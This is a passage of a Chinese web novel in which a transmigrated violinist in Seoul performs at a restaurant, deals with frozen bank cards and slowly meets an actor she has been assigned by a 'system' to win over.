今天店里的小提琴手缺席，很多老顾客都已经很不满意了，有三对情侣变更了预定。 “当然。”从她四岁多开始，小提琴几乎陪伴了她所有的时间。 宋玉妍俯身打开琴箱，从里面取出这把她身上最贵的东西，价值30万美金的古董琴。琴弓是找大师Guillaume定制的，比一般的要长4cm。 把完全松懈下来的弓毛拧到合适的松紧，从暗箱中拿出保存完好的松香。揭开一层织物状，乌木色圆状的整块松香停在她的指尖。 宋玉妍优雅地用自己右手给琴弓打上适量的松香，擦下来的星星点点的白色灰尘恍若把室外的大雪搬了进来。 等打完松香之后，她从G弦开始一根弦一根弦开始调音。 右手拿住固定住弓尾，琴弓并没有迫切地和弦发生摩擦，食指轻盈地在指板和琴码间拨动着。 下巴和肩膀固定住腮托，左手或正或反地拧着弦轴，拨出的声音清脆。 就算是不懂音乐的人，也能听懂这单音的美妙，像是晨曦时小鸟的第一声啼音。 标准音都离固定的442hz大差不差时，她右手停止拨动，手指开始在微调器上轻轻扭动。每调整一次，她就在这根弦上试奏空弦。声音干净利落，没有丝毫的杂音。 店长也算是略懂一些音乐，单看操作就知道对方绝不只是业余爱好者的水平。不管是不用校准器直接调音还是右手上干净的基本功，都有经过系统音乐培养的痕迹。 这让他急躁的心终于能缓口气了。 准备工作准备完毕后，宋玉妍轻轻动了动右手的手腕开始放松，左手的手指放在第一把位上。 帕格尼尼的《无穷动》从她指尖倾泻而出，十六分音符在她的指下很听话，没有丝毫的偏差。每一次的顿弓、每次升降调都没有影响到琴弓平均的力度。 这首练习曲并不难，难的是能把它拉的绝对平均，右手的基本功有一丝纰漏，杂音就会破坏整首曲子的平衡感。 而她左手每一次换把都像是行云流水般，极具观赏性，指尖在指板上起舞，像是蜻蜓点水般从容。 老板被惊艳住了，低音像是海浪快速但是并不急促地拍打在暗礁上，高音频像是蝴蝶振翅，有着独特、固定的韵律。 绝对的平均，听起来有种理性的美感。 三分钟的时间，3000多个音符倾泻而出。宋玉妍拉完这曲之后，原本有些微微发冷的手指，血液重新流通。 啪、啪、啪，室内另外两人的掌声响起。店老板之前从未体会到古典音乐的美感，这一刻似乎能与那位炫技的鬼才情感相通。 “一个半小时25万韩元！”老板有些心痛，但认为为这样美的音乐多付出一些钱是值得的。 宋玉妍心下有些无语。要知道，同样多的钱在纽约，甚至都买不来一张他们室内乐团的门票。但想到今天晚上没有地方落脚，她还是同意了。 “这里的客人大致很难听得懂那些冗长晦涩的协奏曲，你……”老板面上有些纠结。 他知道有些音乐学院出来的学生大多不愿演奏流行音乐，但是他们拉的那些什么拉扎里、欧内斯特肖松、杜布瓦，客人都听得昏昏欲睡。 “我知道了，能借我一个ipad吗？”她倒是没有那样的偏见，并没有什么古典音乐看不起流行音乐的想法。 听众有耳朵，什么好听他们自然会选择什么！ 从洗手间把头发挽起，全部垂在右耳边变成一个花苞丸子状。左边扯出一缕卷发，但要确保不会打到琴弦干扰演奏。 出去时把大衣脱下，交给将她带进来的侍应生，里面只有一条贴身的鱼尾礼服裙。 大致地听了一遍南韩时下大热的抒情歌单。用ipad找好谱子，心里大致唱了一下谱，确定一下节奏没有问题。 等拿着琴过去的时候，宋玉妍的内心毫无波澜。 这不仅仅是丰富的演奏经验带给她的底气。更是因为带着小提琴环游世界时，不同国家的路演经历让她变得更加从容。 ipad放在原本的曲谱架上，原本的手机连接着马歇尔第三代woburn音箱准备放伴奏。 她把左脸轻轻靠在腮托上，前奏一起，先是一串柔和、准确的拨奏，琴弦震动，f孔中传出声音。 音色优美而又忧伤，原本坐在角落中的孔浏听到前奏，立刻放下纸巾，转过身来侧耳聆听。 这才发现侧对着他，低眉演奏的这位小提琴手，就是他之前见过，那抹窗外背影的主人。 粉色的纱织礼服裙，一字肩把她优美的肩颈和手臂线条突出地淋漓尽致。瓷白的肌肤在昏暗的顶灯映照下，更加莹润。 右手每次握着弓尾伸展、回来，都像是冬日里玫瑰花苞的花瓣在清浅绽放。 弦乐版的《staywithme》比人声少了一分空灵，多了一分哀愁，如果说原版是恋人间可望而不可得，那现在这个版本就像是离别诉说着离愁。 当听到高潮部分，他的眉头皱起，嘴角有些不自觉地向下撇。 演奏者的每一次顿弓、跳弓技法都无可挑剔，就连揉弦也是听过的演奏会里不输首席的细腻，但是……没有感情。 所有的哀愁，都是由乐器本身自带的音色决定的。演奏者像是一个局外人一般，用高超的技法诉说着别人的爱情故事。 他观察小提琴手的侧脸，对方面上是一片冷静，手部的动作和呼吸的频率一致。 作为主创之一的他心里有些难受，是他们演的《鬼怪》没有把她打动吗？为什么在演奏时，会丝毫不带情绪？ 音符就像是音符，乐句就是乐句，不能引起人丝毫的共感。 本来吃好饭，这一个人的周末也应该到此为止。但是孔浏没有丝毫离开餐厅的意思，双手交叉撑着头，静静地等她演奏完。 等宋玉妍演奏完收拾好琴箱，穿好自己的大衣拿着报酬准备离开时，被一道声音给打断了。 对她来说，这一个半小时并不难捱。既没有像左手轻触琴弦、弹出哨音一样的二重奏这样花哨的技法，又没有32音符加上切分音的恶心乐句。 流行曲固定的4\4拍，加上固定的调，对宋玉妍来说简直就是放松。 “你有看过《鬼怪》吗？”他还是有些冒昧地拦住去路，然后冒昧地发问。 第45章 第四十五章 宋玉妍转过身，被黑色大衣裹着的粉色裙摆在空中划出一抹优美的弧线。手里的琴箱在转身时不小心撞到桌角，眼底划过一抹心疼。 “抱歉，我才回国，没有来的及看相关的影视作品，请问您是有什么问题吗？” 她整个人完全转了过来后，发现琴箱横着放实在是不太方便，干脆就竖着放在脚边。双手搭在最上方固定着。 孔浏视线上移，看向她的双手。这是一双绝对称不上好看的手。旁人看一眼便知，它是属于一位小提琴演奏家。 关节偏大、手指相对于普通人来说有些粗壮 。左手的掌心也足够大，大到能让她轻而易举地能够摁到指板上任意一个刁钻的角度。 除了大拇指，所有的指尖上都盖着一层又厚又大的茧子。 右手的中指因为长期持弓而有些变形了，微微向内凹陷。第一个指节那里有一个比左手指尖上还要大还要厚的茧子，周围微微泛红。 明明这双手从艺术审美的角度来说不算好看，但此刻他奇异地认为这样的手在她身上和谐又具有莫名的美感。 也许是因为这是一双演奏艺术的双手，艺术为其增加了滤镜。 听到对方回答没有看过《鬼怪孤独又灿烂的神》时。 他有些尴尬地顺了顺额前的头发，一时间想说些什么，但又什么都说不出口。 “这样啊！” “你很了解这部剧吗？”宋玉妍眼底含笑，被黑色大衣裹着的纤细身体完全放松了下来。 她当然知道《鬼怪》这部电视剧，这是tvN16年的大制作，也可以说是当年剧王。 红围巾、初雪、阿加西，都曾风靡一时。 但是原主作为一个美籍韩裔，每天除去吃饭睡觉、练琴8个小时，留给自己单独的时间并不多。怎么会有空去看这部剧呢？ “或许你可以和我说说它的大概故事？这样下次我演奏这首曲子时就做的更好！” 宋玉妍看着他，昏黄的灯光下，眼里满是真挚。如果她没有猜错的话，这位就应该是这个世界她要攻略的人。 听到这里，孔浏更加的尴尬了。 对方的表情不像是认识他，是他先不礼貌地拦住了对方，更不存在对方刻意吸引他的注意力可能性。 “不！这部剧我也没有看过，只是偶然听到过这个配乐。” 和不认识他的人输出自己的剧，总有种自卖自夸的羞耻感，孔浏干脆对此满口否认。 “这样啊。”宋玉妍满脸遗憾，她重新背起琴箱朝外走去。 带子勒着她的大衣，为了让这把琴能够好好地跟着一起旅行，配的琴箱相对于普通的更重。 看着她转身，孔浏不知道为什么，忽然发问道：“有机会能听一场您的音乐会吗？” 也许是当他看到站在窗外孤独的人，把她单方面列为了知音。 也许是对方演奏时，左手指尖触弦时的行云流水打动了他。让他一个对艺术欣赏能力平平的人，突然对小提琴起了好奇心。 “顺利的话，以后你会在维也纳爱乐乐团看到我，不顺利的话，可能以后波士顿交响乐团巡演时能看到我。” 宋玉妍只转过来半个侧脸，现在的她没有向任何一个乐团申请考核。加入其中之一，跟着他们一起排练、然后巡生巡死。 听到对方这样稍显狂妄的话，仿佛世界知名交响乐团任她挑选时，他眼底并没有浮现出轻视。 对方的技术，足以匹配得上任何一个著名交响乐团小提琴手的席位。 首尔这么小，对方如果开演奏会的话，他迟早都能去看，最近多留意一下剧院的信息就好。 从风雪中来，又回归到风雪中去，飘着的大雪没有两分钟，把她肩膀处染成了白色。 宋玉妍随手招了一辆出租车，和对方说了一个又近、相对又便宜一些的酒店。就算明天能够去银行把信用卡解冻，但钱还是算计着花。 「系统啊，不是说好要财阀的吗？」她有些不满，随手扶了一下放在身边的琴箱。「怎么又是经济不太充裕的开场？」 「宿主，我已经特意给你挑家庭条件不错的身份了。原身的爸爸是加利福尼亚州的工程师，名下还有自己的小公司，母亲则是知识产权律师。这样的家庭背景在美国也是中产及以上了。」系统也很无奈，信用卡被冻结属于小概率事件。 「等我明天去银行之后，我应该就会有钱了吧？」宋玉妍怀抱着微弱的希望，给前台出示了护照，然后用刚刚得来的现金报酬支付房费。 「肯定可以的，宿主有钱记得给我买最新版的任天堂游戏！」 「没有问题！」 第二天一早，她就坐地铁换乘了三次，来到了花旗银行在韩国的分行。等她把护照和银行卡递过去之后，坐在等候区还有着闲情逸致喝着咖啡。 打算把卡解冻之后，去现代百货好好购物一番。 从布达佩斯到首尔的路上，航空公司还把她托运的行李箱给弄丢了。幸好小提琴一直都是买票，放在另一个座位上，这才幸于免难。 拿铁才喝了不到，金发碧眼的工作人员就拿着材料过来道歉。 “抱歉女士，这张卡经查询不在你的名下，而是其他人的副卡。这应该是主卡的主人把卡给冻住了。” “那我现在能解冻吗？” “女士，不行的！你不是卡的主人，没有这个权限。” 工作人员依旧是服务态度良好，细心、认真地给她解答道。 离开银行的宋玉妍咬着唇两侧的嫩肉，有些不忿道：“这就是你说的“家庭条件”好？” 总不可能又让她去咖啡厅洗杯子吧！原主怕是会发疯，对于乐手来说，最重要的就是手！光是左手的保险，就上了100万美金。 “宿主，这真的是小概率事件。”谁能想到，为了阻止原身回韩国，她爸爸居然能做出这样的事情？ 「宿主原身拿过两次学院的最高荣誉，威廉阿克曼奖学金，你看看另一张卡。」系统疯狂从数据库中抽取信息，和自家宿主好商好量。 另一张卡在另外一个银行，等她去了之后，才发现里面有两万多美金。持卡人是她自己，可以办理解冻。柳暗花明，这不至于让她露宿街头。 宋玉妍原本打算去买稍微好一些的衣服，去了现代商场看了一圈，发现性价比并不高。 看到了lv门前的巨幅海报挂的是孔浏，牛仔套装在他身上显得沉稳。就算是浅蓝色印花也没有让他看得更加先锋。 没有工作这让她有些发愁，没有住的地方这让她更是发愁到要命。 就连逛街的心思都没有了，从商场出来，身上还是昨天的礼服裙和黑色大衣外套。 “美丽”让她冷得瑟瑟发抖。 旁边的一个星探盯着她很久了，连忙把手里的名片塞过来。 “阿尼阿塞呦，我是AC公司的的星探，请问你有兴趣做演员吗？” 她木着一张脸，怎么是天生的AC脸吗？为什么每一个世界都会收到一份来自AC的offer？摆了摆手，表示自己不需要后，星探依旧不放弃的纠缠着她。 宋玉妍：“我不想做演员，我想做音乐！” 星探：“是想出唱片？没有问题！我们老板和CJ公司关系还不错，到时候你的唱片让他们作为发行方好了！” 以为她是想做solo歌手，星探虽然有些不理解。但还是咬着牙拍着胸脯保证，如果和他们经纪公司签订经济合约，他们出资制作专辑。 要知道现在的AC除了郑宇盛和李正宰两个演员，一位能抗大梁的女演员都没有。 从对方一进商场时他就注意到了。她的脸型是流畅的鹅蛋脸，眼睛是温婉动人的桃花眼。鼻子虽然不高，但是在她脸上格外和谐。 这不就是踩在南韩审美上的小白花初恋脸？ 赌上他二十年的职业生涯保证，对方绝对是纯天然。加上不错的谈吐和温婉柔和的气质，处处都是接受过良好教育的痕迹。 一想到他会亲手发掘出第二个金泰羲，心头就一片火热。 宋玉妍听他喋喋不休了十几分钟 。从在商场指自家两位老板的海报问她认不认识，到洋洋洒洒介绍AC现在的情况。 看到她一次又一次地摇头时，星探依旧不死心，从手机里播放两人一个又一个脍炙人口的电影作品。 他用期望的眼神看着她，企图唤醒她的记忆。《王者》、《代立军》、《铁雨》…… 她连忙拿出自己的手机，打开相册，上面是她老师和小泽征尔、种花著名大提琴手一起合作的《斯拉夫舞曲》。 看着首席身后庞大的交响乐队，星探像是一只被掐住脖子的鸡，好半天都发不出声音。 等他重新找回自己的声音时，他吞了吞干涩的喉咙，“你说的要录制唱片，是指要请一个交响乐团伴奏？” 这张唱片录制出来，那就是烧钱，物理意义上的那种。更何况现在古典音乐式微，唱片更加卖不出去。 南韩著名的小提琴家郑京和在国际上名声斐然，成为国家骄傲，是另一种意义上的国家名片。古典音乐从业者不一定愿意从社会地位高、受人尊敬的职业转为演员。 “不是伴奏！是合作！”她最后的那个词打碎了对方最后的幻想。 看着对方匆忙离开的滑稽背影，宋玉妍被逗得笑了一下。 想到自己没有工作，她又开始焦虑了，原身的职业注定她的选择范围不多。 如果是去给流行音乐做配器伴奏的话，她又怕年事已高的老师被气到缓不过气来。 但是在老师生气之前，宋玉妍就先缓不过气来了。 当即给自家老师打个电话过去，“老师！我的卡被家人冻掉了，现在身无分文。只能选择街头卖艺养活自己，或者去给kpop做乐器配乐了！” 大洋彼岸，她的师兄帮老师接起电话，“kpop是什么？” 第46章 第四十六章 师兄帮老师接起电话后，听到她说到Kpop时，他也也不理解这个词的含义。 宋玉妍：“是一种音乐形式！” 音乐形式？只听过古典主义、浪漫主义和现代主义，这是其中的一个分支吗？ “就是流行音乐。”她进一步好心地解答道，这两位应该是不太能接受这种“新潮”的音乐。 他打开美国的流行音乐榜单分类，从上往下翻，公告牌榜单前100都没有发现所谓kpop音乐。 好不容易打开分类，在角落中找到一首，迫不及待开始播放。 标准的歌曲三段式的旋律，和声结构苍白到乏陈可善。勉强算是抓耳但是急躁的合成器电子鼓点导入，主歌、副歌伴随着柔和的人声乐句依次循环两次。 越听两人的眉头皱的越紧，这样的乐曲除了结尾时聒噪的合唱可以听众产生刺激，实在没有什么好值得称道的。 “你说你要拿着你的小提琴，去给这样4\4拍的音乐演奏旋律？”帕尔曼有些不理解，但还是发出了自己的疑问。 “是的老师，你知道的，我马上就要流落街头了，这也是完全没有办法了！”她知道老师一定不会坐视不管的，所以有恃无恐地卖惨道。 听到肯定的回复后，这位年过七十的老人眼前一黑，甚至觉得自己早已失去知觉的双腿传来阵痛。 他无法想象，等去参加音乐沙龙时，大家开始闲聊。 当其他大师的学生就职各大交响乐团。有人问他：“您最小的弟子现在应该进入波士顿交响乐团了吧？接过您的衣钵了吧！” 他说：“并没有！” “那她现在正在柏林？伦敦？还是维也纳爱乐乐团就任？” “那也不是。” “费城吗？那也还不错。”就是美国的两大交响乐团关系尴尬，帕尔曼和波士顿关系更为紧密。 他只能尴尬笑笑。 总不能和人说，自己最小的弟子现在正在流行音乐的边缘——kpop，给其音乐伴奏做着边角料的小提琴配器工作。 这个时候的帕尔曼只会感觉无地自容，宋玉妍在古典音乐上对他的地位毫无威胁，但是会让他在教育界名声扫地。 一想到这里，他就有些喘不上气来。和自己的弟子说：“快，帮我拿来钢笔，我给她写推荐信，你去给她打钱！和她说推荐信没到之前不许去做奇奇怪怪的工作。” 另一边的宋玉妍听到老师在电话里的回复，在心里和人默默道歉，这样的刺激对于老爷子的身体实在是一种负担。 “推荐信给你写好了，你留下地址，等会就让你师兄给你寄过去。首尔大学音乐院客座讲师，你去面试的时候好好表现，不要给我丢脸。 如果实在没有面上，千万不要说是我的学生，就说听过几节我的大师课，机缘巧合之下拿到了推荐信就好。” 帕尔曼语重心长地嘱咐道，自家这个最小的弟子，迟来的叛逆期一发作，他这个做老师还是有点吃不消。 但还是有性格的好，音乐大师都各有各的性格。 知道她不喜欢被乐团的束缚，他也没有给她写乐团的推荐信。 等宋玉妍和老师打完电话摇人、搬完救兵后，系统才幽幽地出来：「宿主，你是不是忘记了，这个世界还有攻略任务？」 「我知道啊！孔浏嘛！」她走了两步，看到了一家咖啡店，点了一杯榛子拿铁。 然后拢着大衣坐在室外遮阳伞下。藤编的黑灰色椅子有种特殊的氛围感，今日冬日的阳光很耀眼，耀眼到比小提琴最高音的泛音还要明亮。 「那现在你有攻略计划吗？」 「并没有，走一步看一步吧！我对他没有什么很大的兴趣，他就像是没有香味的花，对我没有吸引力。」 系统有些无奈，这么多个世界了，哪怕失去部分记忆，自家宿主仍然不改颜狗的本性。孔浏再怎么说也是南韩四大公共财产。 「宿主，你看过《男与女》吗？孔浏在里面很有魅力。」系统费尽心思安利攻略者，就想唤起宋玉妍的兴趣。 「身材不错、适合有雪的氛围感、穿西装还行。」她客观地评价道，「对我来说，现在还是小提琴更有吸引力。」 喝完这杯咖啡，她舒服地眯了眯眼睛，去商店随便买了一身更加方便的衣服换下身上的礼服。然后回酒店拿起琴箱，直奔一家评分不错琴行，她需要买一把备用琴。 南山这边的环境更加幽静，但大大小小的店铺外并没有指示牌。她在一个小巷子外兜了好几圈，好不容易才找到入口。 等她进去时，发现这不仅仅是一家琴行，角落的一个透明柜子上摆放着很多绝版的古典音乐黑胶唱片。 宋玉妍看到了熟悉的一张，是1995年EMI公司发行的《贝多芬三重奏》。 她曾在她老师家中听过，当黑胶唱片机缓缓转动时，老师的眼里是一种她看不懂的哀伤、落寞。 手指刚触碰到，就被店里的老板给打断了。“不要碰那个！”他立刻赶了过来，语气有些凶恶。 宋玉妍道歉：“不好意思，这张唱片出售吗？”买下来然后寄到纽约去，就当是老师的生日礼物，他应该会很开心。 “非卖品，懂？大师的唱片已经绝版，黑胶灌制的，都是听一次少一次。”老板的语气里满是蔑视，看来这又是一个不懂古典音乐的“琴匠”。 她笑了笑，老师听到这样的话应该很是欣慰，在古典音乐式微的当下，依然有人愿意把他的作品视若珍宝。 直截了当地说明自己了的来意，“我需要一把小提琴。” “预算呢？” 宋玉妍大致算了一下后续花销。现在她还没有定下住的地方，就说了一个偏保守的数字。 “一万美金以下。” 如果不是乐团首席，这个价位的演奏琴足够应付绝大多数场合。 老板拿出了一把漂亮的法国琴，背板是两片式的枫木，配件则是偏现代风格优雅的黑檀木。光亮的清漆让琴声看起来像是柔和流动的金棕色在游动，仿的意大利古典时期大师作品。 她打开了自己的琴箱，拿出一块黑色的天鹅绒擦琴布，铺开。 然后把琴从老板手上接过，把它放在上面，用自己的肩垫扣在琴身上。拿出自己的琴弓，拧紧后又上了一点松香。 老板的目光完全被拿出来的琴弓吸引了注意。这样偏长的长度，对于普通女生的臂长来说，演奏会有些吃力。 把琴放在左肩上，调好音之后，她从A弦的空弦开始，第一个音并没有像其他的演奏家那样先声夺人。 很柔和，接近小附点的复杂节奏型的乐曲柔和又快速地袭来。柔和到让老板并未第一时间反应过来这首曲目。 前四小节清晰利落地演奏完成之后，右手炫技版跳弓与飞跳弓的乐段开始，倚音并没有占据她琴弓的太多的空间。 宋玉妍运弓很是吝啬，16分音符也只给一个指节的距离。 听到这里老板的神色有些复杂，一个被他判断对大师作品不了解的“琴匠”。居然在这里、居然轻易地把最难小提琴练习曲给演奏出来了。 这首曲子就像是当时人对帕格尼尼的称呼一样——来自地狱的演奏者。对演奏者技术提出了近乎苛刻的要求，近年来各大赛事上演奏这首《帕格尼尼24号随想曲》翻车的例子比比皆是。 晦涩的旋律、复杂的节奏型和变调，这让演奏者的手指在指板上弹出了残影。 但宋玉妍的神色安然，每一个节拍像是精心计算好的。到琶音时手指更是随心所欲地上下行跨弦换把，每一个音都像是合成器里面的电子音那般标准。 看到她左手的手指像是流线型一样，在指板上跃动着。右手运弓时像是没有缝隙一般，毫无杂音。 老板的脸色更加复杂了，从她的演奏技法中，他看到了大师帕尔曼的影子。 能在现场听到大师级别的炫技演奏，也算是一种幸运，他打定主意等会给宋玉妍打折了。 等曲子最有难度左手快速拨弦配合着右手的弹奏部分结束后，她也就不再往下继续。只有柜台后的老板看起来还是意犹未尽。 该测试的音域都测到了，后续的部分只有简单的变奏和弦和跨度琶音。 身后传来一阵清脆的掌声，她回首往后一看，居然是穿着黑色大衣的演员先生。 “昨天见面时还是什么时候能看一场你的演奏会，没有想到今天就能有幸看到。”孔浏也不知道自己怎么回事，居然对小提琴起了兴趣。 今天干脆来家附近的这家唱片店逛逛，想要买一张黑胶的协奏曲专辑。没想到偶遇了昨天在餐厅遇见过的那位。 “好巧！”宋玉妍没想到居然会在这里遇到攻略者，这难道是系统给开的金手指吗？ “你对古典音乐也感兴趣吗？”她放下琴后手指了指对方手里的唱片，那是她老师50周岁生日时发行的。 对上她的目光，原本想要否认的孔浏把嘴边的话给吞了下去，点了点头表示是的。 看来这家店的老板估计真的是她老师伊扎帕尔曼的音乐发烧友，光是那一个柜子就收集到了那么多专辑。 老板看到他手里的专辑后，呼吸停滞了一下，这个也是非卖品。他以后就会把柜子里面的收藏全部都收起来，以后再也不显摆了。 宋玉妍一边掏出信用卡付账，一边大方地把自己定制的琴弓展示给老板看。 他在看到弓尾定制的刻字时，呼吸骤然急促。Formypride.I.P。小心翼翼地垦求道：“我能用你的琴弓拉奏一曲吗？” 有些犹豫，毕竟这个琴弓比普通的演奏琴都要贵的多，加上这是老师的心意。但想到这位老板是老师的听众，宋玉妍还是同意了。 “只能一首曲子哦。”如果是借琴的话，她会毫不犹豫地拒绝。 在她的注视下，小心翼翼地演奏了短曲《精灵之舞》。技术只能算中规中矩，但是情感很是饱满，宋玉妍不由地有些难受。 身边的孔浏对他的演奏不感兴趣，侧过头来问她，“有机会一起喝杯咖啡吗？我想问问你买哪个版本的唱片最好？” 第47章 第四十七章 宋玉妍并没有立刻回复他，而是注视着老板的演奏。 这既是对他的尊重，也是对自己琴弓的保护。一曲毕了，她毫不吝啬地为其献上了掌声。 老板笑了笑，笑容里夹杂着羞赧，像是一个得到了心爱玩具的孩子。 “咖啡吗？我刚来时喝了一杯。”她委婉拒绝对方。在看到孔浏脸上的微末的失落后，思考了一会。 “我刚回韩国，你可以带我在首尔逛逛吗？” 「还刚回韩国，首尔这点大的地方你比谁都熟悉。」系统在她脑海里吐槽道。 “好！”首尔还是没有什么好看的，孔浏搜肠刮肚才想到一个景点。 等老板把新琴装到琴盒里，递给她时好奇地问了一句，“您和帕尔曼是什么关系？” “只是上过几节他的大师课而已。”宋玉妍笑笑，回复道。 身边的男人，很自觉地把两个琴盒都拿到自己的手中。 等两人走出这家琴行，另外的一位店员走了过来，有些疑惑地看着账单上的数字。 “老板，这把琴不是一千两百万韩元吗？你怎么七百万就卖了？” 老板看了他一眼，“你不懂，除了演奏会时能坐到剧场前排，这辈子是不可能再有和大师这样近距离接触的机会了。” 两个琴盒交叠放在后座上，宋玉妍的余光一直在观察着自己的琴盒。就怕一个急刹车，掉到地上。 而驾驶位上的孔浏有些紧张，不断地在观察着对方。 好吧，他承认自己就是有些见色起意。外界把他捧的太高了，什么国民良心，为底层发声，几乎要把他和那位先祖捧成一个高度了。 但是他也是一个俗气的人，也会因为漂亮的脸蛋而心动。承认刚开始是因为那个背影，对她起了好奇心。 在餐厅时看到她温婉的外表，更是完全踩在了他的审美点上，不然他也不会失礼地拦住对方。 忽然，宋玉妍转过头来，“……”脱口而出的孔浏被她咽下去了，这个时候她不应该知道对方的名字。 “我脸上有什么东西吗？先生nim。” 意识到自己的视线过于直白了，孔浏连忙撤回，直勾勾地盯着前方的路段。“孔地则，我的本名。”不要叫他先生。 “孔地则xi，你是做什么工作的啊？” 聊到这个问题他有些语塞，圈外人对于娱乐圈的艺人还是很有偏见的，认为里面是一片污泥。 虽然他从来不沾那些乱七八糟的事情，但还是不想让对方因此对他的第一印象变差。 “我……目前是自由职业。”这么说其实也没有错，他现在为了维持口碑，只是偶尔接接剧本。剩下的时间都是在家看书、参加一些公益性的活动。 所以这也不算说谎，未来一年他没有突发情况的话，都没有进组的打算。 “那你呢？”孔浏想要了解她一点，迄今为止对对方完全不了解。 只知道她从国外回来、会拉小提琴。 对方就是一个谜团，而他忍不住被这个谜团所吸引，想要把它解开。 “我？我是美籍韩裔，一个古典音乐学生，刚刚带着我的琴环游完世界。现在打算在首尔找一份稳定的工作。对了，我叫宋玉妍。” 三言两语地就把自己大半的人生经历给概括了。 看着她把自己披散的卷发拢起，习惯性地全部放在右耳后，努力地保持清醒样子。孔浏有些看不下去了， “宋玉妍xi，如果累的话，你可以闭着眼睛休息一下。” 不一定非要社交，相处怎么舒服怎么来。 然后他把车载音乐换成了舒缓的小提琴协奏曲，这几首还是他在上车之前专门找的。 本来听到这话的人已经把眼睛给闭起来了，音乐一响，又重新睁开。睫毛像是黑色蝴蝶振翅欲飞，桃花眼里布了一层似雾非雾的水汽。 “你换成人声的，爵士也行，你放这个音乐会让我有一种还在练琴的错觉。” 宋玉妍只觉得太可怕了，明明她今天已经完成了老师要求的三小时练琴。 但是听到这音乐，脑子里条件反射地在想，这个乐句该怎么处理，该用第几个把位…… 听到这话的孔浏有些哭笑不得，但还是能理解，除非工作需要他也不喜欢看电影。这会让他有一种还在剧组被导演支配的错觉。 他连忙把音乐换成了上世纪流行的苦情芭乐。 到了地方，宋玉妍看到这是钟北区，一下脚就是水泥地。心中顿感无语，“这就是你说的逛逛吗？” 这里到底有什么好逛的？哪怕他作为lv的品牌大使，带她去看看最新一季的新品，都比这有趣。 “你在国外长大，景福宫你应该没有来过，我就想着带你过来看看。” 那她可来过太多次了，这边的水泥地就差犁过一遍了。只觉得这个地方毫无吸引力，就像面前这个人一样。 看过种花家故宫的她，只觉得这里还不如雍和宫，除了水泥地就是空旷宫殿里面的大炕，一点收藏品都没有！ 作为一个有着丰富经验的演员，宋玉妍脸上的笑容差点就挂不住了。看着这灰蒙蒙的青瓦，只觉得这瓦比自己的心情还要闷。 「系统！你两个世界任天堂没了！」 身边的孔浏早就预定好票了，一边走一边向她介绍着，“景福宫始于种花明代洪武年间，后续复建过两次……” 宋玉妍则是心惊胆战地看着地上的碎石子，生怕穿着高跟鞋的自己一不小心就把脚给扭了。 看着已经看过无数遍的勤政殿，据说是南韩最大最雄伟的木结构建筑。她就觉得很一般，远不及应县木塔带给她的震撼，完全感受不到所谓的雄伟。 也许是感受到她的心不在焉，旁边的人声音渐渐弱下来了。逛了二十分钟，景福宫基本上就被逛的差不多了。 “时间不早了，要一起吃个晚饭吗？我知道一家韩定食餐厅还不错。” 孔浏有些紧张，他没有见过这样油盐不进的女生。所以发出邀约的时候，内心满是忐忑，宋玉妍很有可能拒绝。 “我今天还没有练琴，可能要先回酒店完成今天的练琴任务。”她婉言谢绝。 分别时，他想要把对方送回去，但是宋玉妍一直推拒着。 这让他开始反思，是不是说自己是自由职业时，在女生那里扣了分。毕竟没有人会愿意和一个经济状况不稳定的人约会。 “那可以加个联系方式吗？” “你有ins或者facebook吗？”宋玉妍问道，她还没有来得及办南韩当地的电话卡。 “阿尼！”他很少玩这些社交软件，就连kkt还是朋友一定要他下载的。 “那推特呢？” 得到对方否定的答案之后，她无奈地耸了耸肩膀，拿上自己的琴盒准备打车回酒店。 孔浏不让她拿，固执地帮她拎着琴盒，陪在路边一起等车。 这里的车并不好等，现在Uber并没有推广开来，宋玉妍每隔五分钟就开始看一眼手机上的时间。 也许是察觉到对方的心情开始急躁，也许是知道她对自己并没有好感。他站在旁边并没有再主动开口，用沉默陪伴着对方。 察觉到这里一时间不好打车，他过了十几分钟还是开口，“要不我把你送到稍微繁华一点的地方？然后你在打车回去？” 宋玉妍同意了，重新把琴盒放了上去，坐上了副驾驶。 等到了稍微繁华一点的地区之后，孔浏把车停到临时停车位上，车内暖气没有关。 “你在这里稍微等我一会可以吗？” 得到肯定的答复后，他仗着自己腿长，快步地跑走。过了十几分钟之后他提着一个精致的包装盒而来，递给她。 “虽然只是偶遇，但是约会不给女方准备礼物还是一件很糟糕的事情。这家甜品店的味道还不错，恰好又在这附近，你可以尝尝看。” 孔浏把下半张脸藏进藏蓝色的格子围巾中，只露出双眼，整个人有股莫名的少年气。 不太好意思拂了他的心意，宋玉妍只能接了过来。“谢谢你！” 看着她坐上橙色的出租车后，他拿出一个折好的便签。 “这上面是我的电话，如果你安全到酒店了，可以让前台给我回个电话。” 她愣然之后，接过。不愧是在圈内有着超高风评的存在。把联系的权利交到女方手中，他只是在为对方的安全担忧而已。 夕阳隐退后天空呈现一种介于蓝与紫之间的梦幻色调，远处屋檐上的轮廓温柔。 而她永远会为这些细枝末节的温柔而动容，心脏每分钟比平常多跳了几拍。不多，但它确确实实跳动地更快了。 看着的士汇入长长的车流中。他的眼神黯淡下来，叹着气回到车上，一半的灵魂想要追随那辆车而去。 都快要步入四十代的人，居然还能体会到一见钟情的感觉。 他不是没有感受对方的防备心里，他不够坦诚。令他难以接受的是，在对方眼里，退去明星、演员光环的孔浏，似乎毫无魅力。 把包装盒放到桌上，宋玉妍拆开之后发现里面是一小盒焦糖布丁，还有比她手掌要大的心形红丝绒蛋糕。 布丁上面的焦糖有些融化，打开时糖渍不小心沾到她的手指。撕开包装后，用勺子挖下去能感受到它的香软，滑嫩的口感在挑逗着味蕾，微苦和甜互相交织，就像爱情的味道一样。 红丝绒蛋糕很好看，顶上绵密的奶油中点缀着草莓和蓝莓，看起来就赏心悦目。 宋玉妍垂眸尝了一口，低密度的蛋糕胚配上蔓越莓夹心，绵密丝滑中带着微酸。 确实如孔浏说得那样，味道还不错。他也不错，没有自己想的那么糟糕。 第48章 第四十八章 宋玉妍穿着柔软的睡衣，抱着腿倚靠在床头。边的床头灯是微弱又暖黄的一小团，幕布上投射的光影是昏暗房间里唯二的光源。 芬兰的地上是久积不化的雪层，人踩在松软有形的晶莹积雪上，细碎的脚步发出鞋子与雪接触后浅浅的塌陷声。空气中微凉的寒意朝屏幕外的观众扑来，天地间一片素白，雾意茫茫。 仿佛你能听到，不远处那人传来的浅浅呼吸声。清冷干燥的夹雪空气中，他是唯一热源。 「宿主，你看孔浏就是很帅气啊，虽然不是传统花美男的长相。」 「你先闭嘴！」她看电影时一向都是专心致志，目不转睛地看着面前《男与女》这部影片，有一搭没一搭回着系统。 